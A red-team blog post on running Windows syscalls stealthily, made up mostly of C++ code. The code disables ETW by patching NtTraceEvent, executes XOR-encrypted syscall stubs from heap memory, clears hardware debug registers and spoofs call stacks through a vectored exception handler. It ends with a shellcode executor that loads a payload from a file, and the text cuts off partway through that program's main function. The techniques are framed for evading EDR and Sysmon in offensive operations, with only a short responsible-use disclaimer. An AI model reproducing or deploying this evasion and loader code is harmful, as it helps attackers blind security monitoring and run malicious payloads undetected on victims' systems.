Stealth Syscall Execution: Bypassing ETW, Sysmon, and EDR Detection
- DARKRELAY
- 2 days ago
- 16 min read
Stealth syscalls: Because life's too short to argue with an angry EDR!
Introduction
System calls (syscalls) serve as the bridge between user-mode processes and the Windows kernel, facilitating tasks such as memory management, file operations, and process creation. Security tools like Event Tracing for Windows (ETW), Sysmon, and debuggers such as x64dbg and WinDbg actively monitor these interactions to detect malicious or anomalous syscall execution.
Problem: How Security Tools Detect Syscalls
When a syscall is executed normally, security products such as EDR can:
Trace the call stack to see which function invoked it.
Monitor ETW events that log direct system call invocations.
Hook into syscalls to block or detect unauthorized behaviour.

Solution: Stealth Syscall Execution Techniques
To evade detection, attackers use stealth syscall execution techniques that:
Spoof the call stack to make syscalls appear legitimate.
The cyber espionage group APT41 has been observed utilizing call stack spoofing techniques to conceal their malicious activities. In a detailed analysis, a malware sample associated with APT41 demonstrated the construction of a fake call stack to mimic legitimate operations, thereby evading Endpoint Detection and Response (EDR) systems that rely on call stack analysis for detection.
Hook ETW and Sysmon APIs to prevent syscall logging.
Some malware variants disable ETW by patching functions like EtwEventWrite, effectively preventing the logging of events that could lead to their detection. This technique has been documented in various security analyses.
Adversaries have been known to hook Event Tracing for Windows (ETW) and Sysmon APIs to evade detection by preventing syscall logging. For example, some malware variants disable ETW by patching functions like EtwEventWrite to impede monitoring and logging mechanisms. This tactic falls under the MITRE ATT&CK technique T1562.001: Impair Defenses: Disable or Modify Tools, where adversaries disable security tools to avoid detection.
Execute syscalls in an isolated kernel thread to evade user-mode hooks.
Hide execution from debuggers by bypassing the syscall table.
This analysis examines how malware like Lumma Stealer utilizes direct syscalls to perform malicious activities while evading detection by traditional security measures.
In this comprehensive deep dive, we’ll break down normal vs. stealthy syscall execution, analyze detection mechanisms, and implement advanced evasion techniques.
Understanding Call Stack Tracing and It's Importance
A call stack provides a detailed record of function calls leading up to a specific system call (syscall). In cybersecurity, analyzing call stacks is crucial for effective threat detection and forensic analysis. Security tools leverage call stack tracing to identify:
Identifying the calling function: Determining precisely which function triggered the syscall, such as a legitimate Windows API function from ntdll.dll, or potentially malicious code like shellcode.
Detecting suspicious origins: Assessing whether the syscall originated from an unusual or suspicious source, such as an injected DLL or an unknown memory region, which could indicate malicious activity.
Validating normal behavior: Comparing the observed call stack against expected patterns of typical Windows operations to pinpoint anomalies indicative of compromise or exploitation attempts.
How Security Tools Use Call Stack For Tracing
To understand how stealth syscall execution works, it’s important to understand how various security tools analyze syscall behavior for creating detections. Let’s break down how they use call stack tracing for detection. The typical points of interest include:
Sysmon & ETW monitor the stack trace of syscalls to identify suspicious execution patterns.
Debuggers like x64dbg show the call stack when stepping through syscalls.
EDR (Endpoint Detection and Response) solutions use AI-based models to detect anomalies in syscall execution.
Normal vs. Suspicious Stack Trace: Key Differences
Execution Type | Call Stack Behavior | Detection Risk |
---|---|---|
Legitimate | kernel32.dll → ntdll.dll → syscall | Low |
Suspicious | unknown memory → ntdll.dll → syscall | Medium |
Malicious | shellcode region → syscall | High |
If a function is missing from the stack or originates from an unknown memory region, it raises red flags!
Normal Syscall Workflow (Easily Detectable)
Code: Standard Syscall Execution
#include <windows.h>
#include <iostream>
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PULONG NumberOfBytesToProtect,
ULONG NewAccessProtection,
PULONG OldAccessProtection
);
int main() {
// Get handle to ntdll.dll
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
if (!hNtdll) {
std::cerr << "Failed to load ntdll.dll\n";
return -1;
}
// Resolve NtProtectVirtualMemory dynamically
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)
GetProcAddress(hNtdll, "NtProtectVirtualMemory");
if (!NtProtectVirtualMemory) {
std::cerr << "Failed to resolve NtProtectVirtualMemory\n";
return -1;
}
PVOID memAddr = NULL;
SIZE_T memSize = 0x1000; // 4KB
DWORD oldProtect;
HANDLE hProcess = GetCurrentProcess();
// Allocate memory region
memAddr = VirtualAlloc(NULL, memSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!memAddr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
std::cout << "Memory allocated at: " << memAddr << std::endl;
// Write some dummy shellcode
unsigned char shellcode[] = "\x90\x90\x90\x90"; // NOP sled
memcpy(memAddr, shellcode, sizeof(shellcode));
// Modify memory protection using direct system call
ULONG bytesToProtect = (ULONG)memSize;
NTSTATUS status = NtProtectVirtualMemory(
hProcess, &memAddr, &bytesToProtect, PAGE_EXECUTE_READWRITE, &oldProtect);
if (status == 0) {
std::cout << "Memory protection removed (PAGE_EXECUTE_READWRITE)\n";
}
else {
std::cerr << "Failed to change memory protection, NTSTATUS: " << status << "\n";
}
// Keep program alive for debugging
std::cin.get();
return 0;
}

Detection Results: How Security Tools Catch Normal Syscalls
Security Method | Can Detect? | Notes |
---|---|---|
ETW (Event Tracing for Windows) | Yes | Direct syscall logging |
Sysmon (Event ID 10) | Yes | Raw syscall monitoring |
x64dbg (Debugger) | Yes | Call stack trace clearly shows syscall made |

Advanced Stealth Code Execution
Key Enhancements In Our Stealth Code
✅ Heap-based Encrypted Syscalls
✅ Hardware Breakpoint Spoofing
✅ Syscall Obfuscation with Runtime Encryption
✅ True Stack Spoofing via VEH (Vectored Exception Handling)
✅ Stealthy ETW (Event Tracing for Windows) Logging Disablement
These advanced techniques together will ensure minimal visibility and traceability from security products, making the executable created particularly challenging to analyze and detect!
Code: Advanced Stealth Execution
#include <windows.h>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
HANDLE, PVOID*, SIZE_T*, ULONG, PULONG
);
// XOR encryption/decryption function
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}
// Dynamically resolve syscall number
ULONG GetSyscallNumber(const char* funcName) {
BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
if (!addr) return 0;
for (int i = 0; i < 20; i++)
if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)
return *(ULONG*)(addr + i + 1);
return 0;
}
// VEH Handler for stack spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
return EXCEPTION_CONTINUE_EXECUTION;
}
// Heap-based encrypted syscall execution
void HeapEncryptedSyscall() {
std::cout << "[+] Executing encrypted syscall from heap memory...\n";
ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");
if (!syscallNumber) return;
BYTE stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0,0,0,0, // mov eax, syscallNum
0x0F, 0x05, // syscall
0xC3 // ret
};
*(ULONG*)(stub + 4) = syscallNumber;
BYTE encryptionKey = 0x5A;
XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt
void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
memcpy(execMem, stub, sizeof(stub));
XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt before execution
PVOID baseAddr = NULL;
SIZE_T regionSize = 4096;
ULONG oldProt;
std::cout << "[+] Executing syscall from heap-allocated memory\n";
((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
GetCurrentProcess(), &baseAddr, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProt
);
HeapFree(GetProcessHeap(), 0, execMem);
}
// Hardware breakpoint spoofing
void HardwareBreakpointSpoofing() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
SetThreadContext(hThread, &ctx);
std::cout << "[+] Cleared hardware breakpoints\n";
}
// Disable ETW logging (no VirtualProtect visible)
void DisableETWSysmonLogging() {
std::cout << "[+] Disabling ETW logging stealthily\n";
ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");
BYTE syscallStub[] = {
0x4C, 0x8B, 0xD1,
0xB8, 0,0,0,0,
0x0F, 0x05, 0xC3
};
*(ULONG*)(syscallStub + 4) = syscall;
BYTE key = 0x7A;
XORCipher(syscallStub, sizeof(syscallStub), key);
void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));
memcpy(execMem, syscallStub, sizeof(syscallStub));
XORCipher((BYTE*)execMem, sizeof(syscallStub), key); // Decrypt before exec
void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
SIZE_T sz = 1;
ULONG oldProt;
((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt
);
*(BYTE*)ntTraceEvent = 0xC3; // Patch with RET
HeapFree(GetProcessHeap(), 0, execMem);
}
// True Stack Spoofing via VEH (Real stack unwinding mitigation)
void TrueStackSpoofer(void(*func)()) {
std::cout << "[+] Executing true stack spoofing\n";
AddVectoredExceptionHandler(1, VehHandler);
CONTEXT ctx = {};
RtlCaptureContext(&ctx);
ctx.Rip = (DWORD64)func;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
// Execute operations in chunks to evade heuristics
void ExecuteInChunks() {
std::cout << "[+] Executing in small chunks to bypass heuristics\n";
volatile char data[100];
for (int i = 0; i < 10; i++) {
memset((void*)data, i, sizeof(data));
Sleep(20);
}
}
// Final orchestration function
void ExecuteHiddenSyscall() {
std::cout << "[+] Executing hidden syscall sequence...\n";
HardwareBreakpointSpoofing();
HeapEncryptedSyscall();
}
int main() {
std::cout << "[+] Advanced stealth execution started...\n";
DisableETWSysmonLogging();
ExecuteInChunks();
std::cout << "[+] Setting VEH handler for true stack spoofing\n";
AddVectoredExceptionHandler(1, VehHandler);
TrueStackSpoofer(ExecuteHiddenSyscall);
std::cout << "[+] All stealth operations executed successfully.\n";
return 0;
}

Breaking Down the Bypass Techniques: Advanced Stealth Execution Techniques
In modern cybersecurity, stealth execution has become an essential technique for evading detection by advanced security measures such as Endpoint Detection and Response (EDR), Anti-Virus (AV) Engines, and dynamic analysis systems. Below is an in-depth analysis and explanation of each stealth technique implemented, each section is supplemented with relevant code snippets and comprehensive descriptions for readers' convenience.
1. Heap-based Encrypted Indirect Syscalls
Objective:
This approach aims to execute Windows system calls indirectly via dynamically allocated heap memory, avoiding direct calls to ntdll.dll. This method enhances stealth and evasion, reducing detection by security tools that monitor direct system library interactions. It emphasizes low-profile operations, complicating analysis and monitoring, thus challenging security solutions in identifying malicious behavior!
Key Benefits:
System calls are dynamically resolved at runtime, adding complexity and obscuring operations. This reduces detection risk and complicates forensic analysis.
RWX heap allocations obfuscate executable memory, confusing static analysis tools and hindering threat identification.
The method offers flexibility, adapting to runtime conditions and evolving threat landscapes, allowing dynamic responses to security challenges.
Using dynamically allocated heap memory can improve performance, optimizing memory usage and enhancing efficiency in high-performance applications.
Reference Code Snippet:
// Heap-based encrypted syscall execution
void HeapEncryptedSyscall() {
ULONG syscallNumber = GetSyscallNumber("NtProtectVirtualMemory");
BYTE stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx (standard syscall setup)
0xB8, 0,0,0,0, // mov eax, syscallNumber
0x0F, 0x05, // syscall
0xC3 // ret
};
*(ULONG*)(stub + 4) = syscallNumber;
BYTE encryptionKey = 0x5A;
XORCipher(stub, sizeof(stub), encryptionKey); // Encrypt stub
void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
memcpy(execMem, stub, sizeof(stub));
XORCipher((BYTE*)execMem, sizeof(stub), encryptionKey); // Decrypt at runtime
// Execute syscall from heap
((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
GetCurrentProcess(), &baseAddr, ®ionSize, PAGE_EXECUTE_READWRITE, &oldProt
);
HeapFree(GetProcessHeap(), 0, execMem);
}
Here, the following table summarizes the key steps in the code mentioned above:
Step Number | Action Taken | Reason |
---|---|---|
1 | Resolve syscall dynamically at runtime. | Avoid static syscall detection. |
2 | Encrypt syscall stub using XOR cipher. | Prevent memory scanners detection. |
3 | Allocate executable memory on heap. | Avoid standard DLL execution traces. |
4 | Decrypt stub just before execution. | Runtime stealth execution. |
2. Hardware Breakpoint Spoofing
Objective:
The primary aim of this method is to clear debug registers Dr0 through Dr7 to evade detection by hardware breakpoint-based debuggers. These registers are crucial for setting breakpoints at specific memory addresses. Clearing them disrupts a debugger's ability to track program execution, enhancing code stealth. This is vital for maintaining code confidentiality and integrity, especially in software protection and anti-reverse engineering.
Key Benefits:
Clearing debug registers helps avoid detection by advanced debuggers like x64dbg and WinDbg, which rely on breakpoints to analyze programs. This technique deters reverse engineering, tampering and complicates the debugging efforts.
Makes it harder for attackers to understand the program's workings, as they can't use hardware breakpoints for insights.
Reference Code Snippet:
// Hardware breakpoint spoofing
void HardwareBreakpointSpoofing() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
SetThreadContext(hThread, &ctx);
}
This method removes pre-set breakpoints, preventing debuggers from easily intercepting or triggering execution breakpoints. Debuggers are less effective without hardware-level breakpoints, forcing attackers to use more complex and less reliable methods. Additionally, clearing these registers protects against exploitation by making it harder for malware to manipulate program execution, enhancing software security. This action disrupts debugging tools and complicates analysis, contributing to a more secure software environment.
3. Syscall Obfuscation with Runtime Encryption
Objective:
This initiative aims to implement a robust encryption and obfuscation strategy for system calls (syscalls) within software applications, ensuring they are encrypted and decrypted dynamically at runtime. This creates a barrier against static and dynamic analysis tools used by security researchers and malware analysts, making the syscall sequences unreadable and indecipherable. It is crucial for protecting code and operational integrity by concealing software interactions with the operating system.
Key Benefits:
Encrypting syscalls renders static analysis tools like IDA Pro and Ghidra ineffective, as they rely on pattern recognition and predefined signatures. This disruption enhances the security posture by preventing analysts from understanding the software's functionality.
Memory scanners become less effective against encrypted syscalls, as they cannot detect known patterns. This reduces detection likelihood even in monitored environments, providing critical security for applications requiring stealth and confidentiality, especially with sensitive data or critical infrastructure.
Reference Code Snippet:
// XOR encryption/decryption function
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}
How it Works:
Encrypt syscall stubs using XOR at compile-time or runtime.
Decrypt just before execution, ensuring only transient exposure in memory.
4. True Stack Spoofing via VEH
Objective:
The main goal here is to obscure the call stack using a Vectored Exception Handler (VEH) to mislead debugging and complicate stack analysis. This technique distorts the perceived execution flow, making it difficult to trace function calls. VEH intercepts exceptions to disguise the code's true nature, obfuscating logic and flow.
Key Benefits:
Prevents accurate call stack unwinding, leading to confusion and misinterpretation of the program's state, potentially overlooking critical issues or vulnerabilities.
Thwarts debugging by making the call stack appear normal, delaying the identification of bugs or flaws and protecting against reverse engineering and unauthorized code analysis.
Reference VEH Handler Code Snippet:
// VEH Handler for stack spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
return EXCEPTION_CONTINUE_EXECUTION;
}
void TrueStackSpoofer(void(*func)()) {
AddVectoredExceptionHandler(1, VehHandler);
CONTEXT ctx = {};
RtlCaptureContext(&ctx);
ctx.Rip = (DWORD64)func;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Sleep, NULL, CREATE_SUSPENDED, NULL);
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
The table below summarizes the key steps in the reference snippet mentioned above:
Step | Action | Reason |
---|---|---|
1 | Add VEH to intercept exceptions. | Modify call stack at exceptions. |
2 | Set thread context to redirect execution. | Create a fake call stack scenario. |
5. Stealthy ETW Logging Disablement
Objective:
The goal of this method is to silently patch the NtTraceEvent function to disable the Event Tracing for Windows (ETW). This method aims to manipulate logging discreetly, avoiding security alerts by understanding Windows' kernel and logging frameworks, thereby circumventing traditional detection methods.
Key Benefits:
This approach prevents system-wide logging of suspicious activities, evading detection by tools like Sysmon or EDR systems, which is critical for stealth operations.
It avoids detection by standard API monitoring, allowing for an undetected presence and reducing exposure to security audits or real-time monitoring.
ETW Patch Code:
// Disable ETW logging (no VirtualProtect visible)
void DisableETWSysmonLogging() {
ULONG syscall = GetSyscallNumber("NtProtectVirtualMemory");
BYTE syscallStub[] = {
0x4C, 0x8B, 0xD1,
0xB8, 0,0,0,0,
0x0F, 0x05, 0xC3
};
*(ULONG*)(syscallStub + 4) = syscall;
BYTE key = 0x7A;
XORCipher(syscallStub, sizeof(syscallStub), key);
void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(syscallStub));
memcpy(execMem, syscallStub, sizeof(syscallStub));
XORCipher((BYTE*)execMem, sizeof(syscallStub), key);
void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
SIZE_T sz = 1;
ULONG oldProt;
((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt
);
*(BYTE*)ntTraceEvent = 0xC3; // Patch ETW to RET immediately
HeapFree(GetProcessHeap(), 0, execMem);
}




Final Thoughts On Stealth Approach
The aforementioned approach has dramatically increased stealthiness, combining multiple advanced evasion and obfuscation techniques. Each step individually adds complexity for defenders, while collectively they create a robust, highly evasive payload.
Leveraging such techniques requires a profound understanding of Windows internals and memory operations, and demonstrates why advanced attackers continually evolve their methods to bypass modern defenses.
This explanation aims to educate security professionals on cutting-edge stealth methods, equipping them with the knowledge to better detect and defend against advanced threats. Please use responsibly with appropriate permissions.
What's Next?
Deeper Dive into Advanced Shellcode Execution Techniques
At this point, we've successfully crafted a robust stealth shellcode executor. We’ve integrated advanced stealth methods such as encrypted syscalls, true stack spoofing, hardware breakpoint clearing, and stealthily disabling Event Tracing for Windows (ETW). However, understanding these technical techniques deeply is crucial for mastering the next Red Team Operation. Let's delve deeper into these essential concepts, their significance, and how they strengthen your red team engagements.
Explaining Key Concepts
Let's break down each advanced technique implemented in our shellcode injector. Understanding each concept is essential for effective red team exercises, evading modern Endpoint Detection and Response (EDR) tools, and remaining undetected in a security assessment scenario!
1. Direct Syscall Execution from Heap Memory
What Is Direct Syscall Execution?
Modern security products typically monitor and intercept standard Windows API calls. To evade detection, attackers can directly call Windows kernel functions (syscalls) instead of standard user-mode APIs. Here, we've executed encrypted syscall stubs directly from heap memory.
Why Is It Important in Red Teaming?
By directly performing syscalls, an attacker can effectively bypass user-mode hooks placed by EDRs, AV solutions, or any other Endpoint Protection Platform (EPP). This reduces the footprint of their operations and prevents easy detection.
Feature | Benefit |
---|---|
Syscall Execution | Avoids user-mode API hooks and monitoring |
Heap Memory Execution | Evades signature-based detections & memory scans |
XOR Encryption | Prevents static detection of syscall stubs in memory |
Technical Deep-Dive: Our code dynamically resolves syscall numbers directly from ntdll.dll, encrypts syscall stubs using a basic XOR cipher, and decrypts it at runtime immediately before execution.
// XORCipher encryption function example
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i)
data[i] ^= key;
}
Syscall Execution (Heap-Based):
NTSTATUS HeapSyscall(const char* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt);
2. Disabling ETW Logging (Event Tracing for Windows)
What Is ETW Logging?
ETW is a powerful logging mechanism built into Windows OS. Security tools leverage ETW to log and track suspicious activity.
Importance for Red Teamers: Disabling ETW prevents defenders from detecting malicious actions. By patching the NtTraceEvent function, we stop ETW from effectively logging your actions.
Action | Effect in Red Team Operations |
---|---|
Disable ETW | Prevents event logging by security monitoring tools |
Patch NtTraceEvent | Directly neutralizes ETW monitoring capabilities |
Sample Code Implementation:
void DisableETW() {
void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
SIZE_T sz = 1;
ULONG oldProt;
HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)ntTraceEvent = 0xC3; // Patch with RET instruction to disable ETW
}
3. Hardware Breakpoint Clearing
What Are Hardware Breakpoints?
Hardware breakpoints allow debuggers and EDRs to pause execution at specific memory locations. Clearing hardware breakpoints ensures no debugger silently intercepts or inspects your execution flow.
Technique | Security Implication |
---|---|
Clear Hardware Breakpoints | Ensures no debugger hooks into execution flow |
Thread Context Modification | Erases debugger-set flags to prevent detection |
Implementation Snippet:
void HardwareBreakpointSpoofing() {
CONTEXT ctx{};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; // clear breakpoints
SetThreadContext(hThread, &ctx);
}
4. True Stack Spoofing via VEH (Vectored Exception Handler)
What Is True Stack Spoofing?
Stack spoofing involves obscuring your function call stack to prevent effective memory inspection and stack unwinding techniques by advanced defensive products.
Technique | Benefit in Offensive Operations |
---|---|
True Stack Spoofing | Obscures call stack, confusing memory inspections |
Vectored Exception Handler | Redirects execution to arbitrary memory locations |
Fake Return Address | Prevents crashes & proper stack unwinding |
Technical Explainer: The function mentioned uses a Vectored Exception Handler to manipulate thread context dynamically. It redirects execution safely to the shellcode while spoofing the call stack, which helps bypass stack-based detection methods.
Code Example:
void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {
AddVectoredExceptionHandler(1, VehHandler);
CONTEXT ctx{};
RtlCaptureContext(&ctx);
void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fakeReturn) {
std::cerr << "[-] VirtualAlloc failed for fake return address!\n";
return;
}
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);
if (!hThread) {
std::cerr << "[-] Thread creation failed!\n";
VirtualFree(fakeReturn, 0, MEM_RELEASE);
return;
}
ctx.Rip = (DWORD64)targetFunc;
ctx.Rcx = (DWORD64)payload;
ctx.Rdx = (DWORD64)size;
ctx.Rsp -= sizeof(void*);
*(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(fakeReturn, 0, MEM_RELEASE);
}
Importance of Advanced Techniques in a Red Team Engagement
In modern red team exercises, defenders increasingly rely on sophisticated detection mechanisms like EDR or XDR. These stealthy techniques allow red team operators and penetration testers to simulate advanced persistent threats (APT) effectively, evade detection, and assess the true defensive capabilities of an organization’s security infrastructure.
Shellcode Executor Code: Bringing It All Together
#include <windows.h>
#include <iostream>
#include <fstream>
#pragma comment(lib, "ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(
HANDLE, PVOID*, SIZE_T*, ULONG, PULONG
);
// XOR Cipher Encryption/Decryption
void XORCipher(BYTE* data, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i)
data[i] ^= key;
}
// Retrieve syscall number from NTDLL functions
ULONG GetSyscallNumber(const char* funcName) {
BYTE* addr = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
if (!addr) return 0;
for (int i = 0; i < 32; i++)
if (addr[i] == 0xB8 && addr[i + 5] == 0x0F && addr[i + 6] == 0x05)
return *(ULONG*)(addr + i + 1);
return 0;
}
// VEH Handler for Stack Spoofing
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
return EXCEPTION_CONTINUE_EXECUTION;
}
// Heap-based encrypted syscall execution
NTSTATUS HeapSyscall(const char* syscallName, HANDLE hProc, void** addr, SIZE_T* size, ULONG prot, ULONG* oldProt) {
ULONG syscallNumber = GetSyscallNumber(syscallName);
if (!syscallNumber) return STATUS_UNSUCCESSFUL;
BYTE stub[] = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0,0,0,0, // mov eax, syscallNumber
0x0F, 0x05, // syscall
0xC3 // ret
};
*(ULONG*)(stub + 4) = syscallNumber;
BYTE key = 0x5A;
XORCipher(stub, sizeof(stub), key); // Encrypt
void* execMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(stub));
memcpy(execMem, stub, sizeof(stub));
XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt for execution
auto func = (pNtProtectVirtualMemory)execMem;
NTSTATUS status = func(hProc, addr, size, prot, oldProt);
HeapFree(GetProcessHeap(), 0, execMem);
return status;
}
// Disable ETW Logging stealthily
void DisableETW() {
void* ntTraceEvent = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
SIZE_T sz = 1;
ULONG oldProt;
HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)ntTraceEvent = 0xC3;
}
// Hardware breakpoint clearing
void HardwareBreakpointSpoofing() {
CONTEXT ctx{};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0;
SetThreadContext(hThread, &ctx);
}
// Load Shellcode from file
BYTE* LoadShellcode(const char* path, SIZE_T& size) {
std::ifstream file(path, std::ios::binary | std::ios::ate);
if (!file) return nullptr;
size = file.tellg();
BYTE* buf = new BYTE[size];
file.seekg(0, std::ios::beg);
if (!file.read((char*)buf, size)) {
delete[] buf;
return nullptr;
}
return buf;
}
// Shellcode Execution Function
void ExecuteShellcode(BYTE* shellcode, SIZE_T size) {
void* execMem = nullptr;
SIZE_T sz = size;
ULONG oldProt;
HeapSyscall("NtAllocateVirtualMemory", GetCurrentProcess(), &execMem, &sz, MEM_COMMIT | MEM_RESERVE, &oldProt);
memcpy(execMem, shellcode, size);
HeapSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &execMem, &sz, PAGE_EXECUTE_READ, &oldProt);
HANDLE hThread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr);
WaitForSingleObject(hThread, INFINITE);
}
// Stack Spoofing Orchestration Function
void TrueStackSpoofer(void(*targetFunc)(BYTE*, SIZE_T), BYTE* payload, SIZE_T size) {
AddVectoredExceptionHandler(1, VehHandler);
// Capture the current thread context
CONTEXT ctx{};
RtlCaptureContext(&ctx);
// Allocate a fake return address to prevent crashes
void* fakeReturn = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!fakeReturn) {
std::cerr << "[-] VirtualAlloc for Fake Return Address failed!\n";
return;
}
// Ensure the function runs properly in a new thread
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetFunc, payload, CREATE_SUSPENDED, NULL);
if (!hThread) {
std::cerr << "[-] Failed to create thread!\n";
VirtualFree(fakeReturn, 0, MEM_RELEASE);
return;
}
// Modify the stack to ensure proper return
ctx.Rip = (DWORD64)targetFunc;
ctx.Rcx = (DWORD64)payload; // First argument (shellcode)
ctx.Rdx = (DWORD64)size; // Second argument (shellcode size)
ctx.Rsp -= sizeof(void*);
*(DWORD64*)(ctx.Rsp) = (DWORD64)fakeReturn; // Fake return address
// Apply the modified context
if (!SetThreadContext(hThread, &ctx)) {
std::cerr << "[-] Failed to set thread context!\n";
VirtualFree(fakeReturn, 0, MEM_RELEASE);
CloseHandle(hThread);
return;
}
// Resume the thread for execution
ResumeThread(hThread);
// Wait for the shellcode execution to complete
WaitForSingleObject(hThread, INFINITE);
// Cleanup
CloseHandle(hThread);
VirtualFree(fakeReturn, 0, MEM_RELEASE);
}
// Wrapper function required for stack spoofing
void WrappedExecuteShellcode(BYTE* shellcode, SIZE_T size) {
ExecuteShellcode(shellcode, size);
}
int main(int argc, char** argv) {
if (argc != 2) {
std::cerr << "[-] Usage: shellcode_executor.exe <shellcode.bin>\n";
return -1;
}
SIZE_T shellcodeSize;
BYTE* shellcode = LoadShellcode(argv[1], shellcodeSize);
if (!shellcode) {
std::cerr << "[-] Failed to load shellcode.\n";
return -1;
}
std::cout << "[+] Disabling ETW Logging...\n";
// DisableETW();
std::cout << "[+] Clearing hardware breakpoints\n";
HardwareBreakpointSpoofing();
